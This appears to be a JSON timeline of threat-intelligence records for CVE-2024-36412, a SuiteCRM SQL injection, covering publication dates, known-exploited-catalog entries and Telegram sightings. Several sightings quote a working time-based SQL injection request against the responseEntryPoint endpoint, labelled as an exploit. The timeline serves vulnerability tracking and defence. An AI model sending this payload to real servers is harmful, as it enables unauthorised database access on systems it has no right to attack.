{"metadata": {"vulnerability": "cve-2024-36412", "count": 29, "kinds": {"milestone": 3, "sighting": 14, "kev": 5, "other": 7}}, "data": [{"timestamp": "2024-05-27T15:59:57.032Z", "date_only": false, "value": "2024-05-27T15:59:57.032Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "cve-2024-36412", "field": "cveMetadata.dateReserved"}, {"timestamp": "2024-06-10T19:35:43.980Z", "date_only": false, "value": "2024-06-10T19:35:43.980Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "cve-2024-36412", "field": "cveMetadata.datePublished"}, {"timestamp": "2024-06-10T19:35:43.980Z", "date_only": false, "value": "2024-06-10T19:35:43.980Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / GitHub_M", "record": "cve-2024-36412", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2024-06-10T20:15:13.820Z", "date_only": false, "value": "2024-06-10T20:15:13.820", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-36412", "record": "FKIE_CVE-2024-36412", "field": "published"}, {"timestamp": "2024-07-15T20:21:21.367Z", "date_only": false, "value": "2024-07-15T20:21:21.367935Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "cve-2024-36412", "field": "containers.adp.0.metrics.0.other.content.timestamp"}, {"timestamp": "2024-07-15T20:21:21.367Z", "date_only": false, "value": "2024-07-15T20:21:21.367935Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-36412", "record": "FKIE_CVE-2024-36412", "field": "metrics.ssvcV203.0.ssvcData.timestamp"}, {"timestamp": "2024-07-15T20:21:37.466Z", "date_only": false, "value": "2024-07-15T20:21:37.466Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "cve-2024-36412", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2024-07-17T15:58:21Z", "date_only": false, "value": "2024-07-17T15:58:21.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/softrinx/143160", "record": "CVE-2024-36412", "field": "creation_timestamp", "uuid": "3c1e8138-9b33-436f-bbc4-58c8e3018c1a", "content": "SuiteCRM CVE-2024-36412\n\nGET /index.php?entryPoint=responseEntryPoint&event=1&delegate=a<\"+UNION+SELECT+SLEEP(5);--+-&type=c&response=accept HTTP/1.1\n\n#exploit #poc", "url": "https://t.me/softrinx/143160"}, {"timestamp": "2024-07-17T15:58:21Z", "date_only": false, "value": "2024-07-17T15:58:21.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/softrinx/424", "record": "CVE-2024-36412", "field": "creation_timestamp", "uuid": "b661bae8-7f72-47a9-bdc9-1fc9e6c72397", "content": "SuiteCRM CVE-2024-36412\n\nGET /index.php?entryPoint=responseEntryPoint&event=1&delegate=a<\"+UNION+SELECT+SLEEP(5);--+-&type=c&response=accept HTTP/1.1\n\n#exploit #poc", "url": "https://t.me/softrinx/424"}, {"timestamp": "2024-07-17T16:15:23Z", "date_only": false, "value": "2024-07-17T16:15:23.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/realLulzSec/1292", "record": "CVE-2024-36412", "field": "creation_timestamp", "uuid": "b9b797f3-8db7-4cf1-b585-f6d5ef381dfb", "content": "SuiteCRM CVE-2024-36412\n\nGET /index.php?entryPoint=responseEntryPoint&event=1&delegate=a<\"+UNION+SELECT+SLEEP(5);--+-&type=c&response=accept HTTP/1.1\n\n#exploit #poc", "url": "https://t.me/realLulzSec/1292"}, {"timestamp": "2024-07-17T16:15:23Z", "date_only": false, "value": "2024-07-17T16:15:23.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/realLulzSec/13806", "record": "CVE-2024-36412", "field": "creation_timestamp", "uuid": "dae69972-0b5f-4b33-a5da-f0bd6f571102", "content": "SuiteCRM CVE-2024-36412\n\nGET /index.php?entryPoint=responseEntryPoint&event=1&delegate=a<\"+UNION+SELECT+SLEEP(5);--+-&type=c&response=accept HTTP/1.1\n\n#exploit #poc", "url": "https://t.me/realLulzSec/13806"}, {"timestamp": "2024-07-18T03:29:02Z", "date_only": false, "value": "2024-07-18T03:29:02.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/CNArsenal/2800", "record": "CVE-2024-36412", "field": "creation_timestamp", "uuid": "7d55c343-1120-473a-80ac-69ea6f8838d9", "content": "SuiteCRM CVE-2024-36412\n\nGET /index.php?entryPoint=responseEntryPoint&event=1&delegate=a<\"+UNION+SELECT+SLEEP(5);--+-&type=c&response=accept HTTP/1.1\n\n#exploit #poc", "url": "https://t.me/CNArsenal/2800"}, {"timestamp": "2024-07-19T16:56:34Z", "date_only": false, "value": "2024-07-19T16:56:34.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/fattahh_ir/2220", "record": "CVE-2024-36412", "field": "creation_timestamp", "uuid": "fd9c984e-3648-49f8-a55e-d4a0dfae8908", "content": "SuiteCRM CVE-2024-36412\n\nGET /index.php?entryPoint=responseEntryPoint&event=1&delegate=a<\"+UNION+SELECT+SLEEP(5);--+-&type=c&response=accept HTTP/1.1\n\n#exploit #poc", "url": "https://t.me/fattahh_ir/2220"}, {"timestamp": "2024-08-02T03:37:05.215Z", "date_only": false, "value": "2024-08-02T03:37:05.215Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "cve-2024-36412", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2024-08-02T03:37:05.215Z", "date_only": false, "value": "2024-08-02T03:37:05.215Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "cve-2024-36412", "field": "containers.adp.1.providerMetadata.dateUpdated"}, {"timestamp": "2024-09-17T07:32:14Z", "date_only": false, "value": "2024-09-17T07:32:14.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/openSource3/344", "record": "CVE-2024-36412", "field": "creation_timestamp", "uuid": "72087f52-00d5-4836-b63b-40a98d3cd986", "content": "CVE ID : CVE-2024-36412\nSystem : SuiteCRM\nType : SQL injectiton\n\nExploit :\n\n\nGET /index.php?entryPoint=responseEntryPoint&event=1&delegate=a<\"+UNION+SELECT+SLEEP(5);--+-&type=c&response=accept HTTP/1.1", "url": "https://t.me/openSource3/344"}, {"timestamp": "2024-11-24T14:18:40Z", "date_only": false, "value": "2024-11-24T14:18:40.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/jj_8tl/65", "record": "CVE-2024-36412", "field": "creation_timestamp", "uuid": "31317e0d-d76f-4349-978a-00ccdf4c3a09", "content": "CVE ID : CVE-2024-36412\nSystem : SuiteCRM\nType : SQL injectiton\n\nExploit :\n\n\nGET /index.php?entryPoint=responseEntryPoint&event=1&delegate=a<\"+UNION+SELECT+SLEEP(5);--+-&type=c&response=accept HTTP/1.1", "url": "https://t.me/jj_8tl/65"}, {"timestamp": "2025-02-17T01:32:28Z", "date_only": false, "value": "2025-02-17T01:32:28.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberSecurityTechnologies/11819", "record": "CVE-2024-36412", "field": "creation_timestamp", "uuid": "7df44d6c-6c6f-433d-aa79-f3313be1a4ec", "content": "#exploit\n1. CVE-2024-12425,\nCVE-2024-12426:\nLibreOffice Path Traversal\nhttps://codeanlabs.com/blog/general/exploiting-libreoffice-cve-2024-12425-and-cve-2024-12426\n\n2. CVE-2024-36412:\nUsing XSS filters against XSS filters - Unexpected SQLI/RCE\nhttps://secarius.fr/cves/cve_2024_36412_using_filters_against_filters_unexpected_sql_injection\n\n3. CVE-2024-42327:\nZabbix Privilege Escalation -> RCE\nhttps://github.com/godylockz/CVE-2024-42327", "url": "https://t.me/CyberSecurityTechnologies/11819"}, {"timestamp": "2025-02-20T05:23:47Z", "date_only": false, "value": "2025-02-20T05:23:47.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/ton618cyber/2471", "record": "CVE-2024-36412", "field": "creation_timestamp", "uuid": "08834a4b-74bb-40e6-9649-80c962314092", "content": "#exploit\n1. CVE-2024-12425,\nCVE-2024-12426:\nLibreOffice Path Traversal\nhttps://codeanlabs.com/blog/general/exploiting-libreoffice-cve-2024-12425-and-cve-2024-12426\n\n2. CVE-2024-36412:\nUsing XSS filters against XSS filters - Unexpected SQLI/RCE\nhttps://secarius.fr/cves/cve_2024_36412_using_filters_against_filters_unexpected_sql_injection\n\n3. CVE-2024-42327:\nZabbix Privilege Escalation -> RCE\nhttps://github.com/godylockz/CVE-2024-42327", "url": "https://t.me/ton618cyber/2471"}, {"timestamp": "2025-02-20T05:23:47Z", "date_only": false, "value": "2025-02-20T05:23:47.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/ton618cyber/6704", "record": "CVE-2024-36412", "field": "creation_timestamp", "uuid": "0e4ec371-a7dd-45e4-9150-2e54738e6635", "content": "#exploit\n1. CVE-2024-12425,\nCVE-2024-12426:\nLibreOffice Path Traversal\nhttps://codeanlabs.com/blog/general/exploiting-libreoffice-cve-2024-12425-and-cve-2024-12426\n\n2. CVE-2024-36412:\nUsing XSS filters against XSS filters - Unexpected SQLI/RCE\nhttps://secarius.fr/cves/cve_2024_36412_using_filters_against_filters_unexpected_sql_injection\n\n3. CVE-2024-42327:\nZabbix Privilege Escalation -> RCE\nhttps://github.com/godylockz/CVE-2024-42327", "url": "https://t.me/ton618cyber/6704"}, {"timestamp": "2025-08-25T18:31:44Z", "date_only": false, "value": "2025-08-25T18:31:44.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/71f05cce-2beb-4b80-8496-bbbabc032544", "record": "CVE-2024-36412", "field": "creation_timestamp", "uuid": "050a3493-7b40-4ae3-bfea-47081fc55237"}, {"timestamp": "2026-06-17T07:36:40.393Z", "date_only": false, "value": "2026-06-17T07:36:40.393", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-36412", "record": "FKIE_CVE-2024-36412", "field": "lastModified"}, {"timestamp": "2026-09-10T00:00:00Z", "date_only": false, "value": "2026-09-10T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "previdian", "record": "CVE-2024-36412", "field": "timestamps.asserted_at", "uuid": "aba455df-64e1-49cc-ae13-742bddc9dfc9", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-09-10T00:00:00Z", "date_only": false, "value": "2026-09-10T00:00:00.000Z", "kind": "kev", "label": "Catalog added", "source": "previdian", "record": "CVE-2024-36412", "field": "evidence.0.details.added_date", "uuid": "aba455df-64e1-49cc-ae13-742bddc9dfc9", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-09-10T00:00:00Z", "date_only": false, "value": "2026-09-10T00:00:00+00:00", "kind": "kev", "label": "First seen", "source": "previdian", "record": "CVE-2024-36412", "field": "timestamps.first_seen_at", "uuid": "aba455df-64e1-49cc-ae13-742bddc9dfc9", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-09-10T00:00:00Z", "date_only": false, "value": "2026-09-10T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "previdian", "record": "CVE-2024-36412", "field": "status.status_updated_at", "uuid": "aba455df-64e1-49cc-ae13-742bddc9dfc9", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-09-11T11:00:01Z", "date_only": false, "value": "2026-09-11T11:00:01+00:00", "kind": "kev", "label": "Recorded", "source": "previdian", "record": "CVE-2024-36412", "field": "timestamps.recorded_at", "uuid": "aba455df-64e1-49cc-ae13-742bddc9dfc9", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-09-11T11:00:41.771Z", "date_only": false, "value": "2026-09-11T11:00:41.771330Z", "kind": "sighting", "label": "Exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/aba455df-64e1-49cc-ae13-742bddc9dfc9", "record": "CVE-2024-36412", "field": "creation_timestamp", "uuid": "14add224-c68a-4eaa-b6a5-d5aaff8bd4bc", "url": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/aba455df-64e1-49cc-ae13-742bddc9dfc9"}, {"timestamp": "2026-09-11T11:00:42.685Z", "date_only": false, "value": "2026-09-11T11:00:42.685056Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/28542180-9162-4694-9297-5891f2a7a392", "record": "CVE-2024-36412", "field": "creation_timestamp", "uuid": "9c75d64e-b39b-4557-be4a-75ee9ce98313", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/28542180-9162-4694-9297-5891f2a7a392"}]}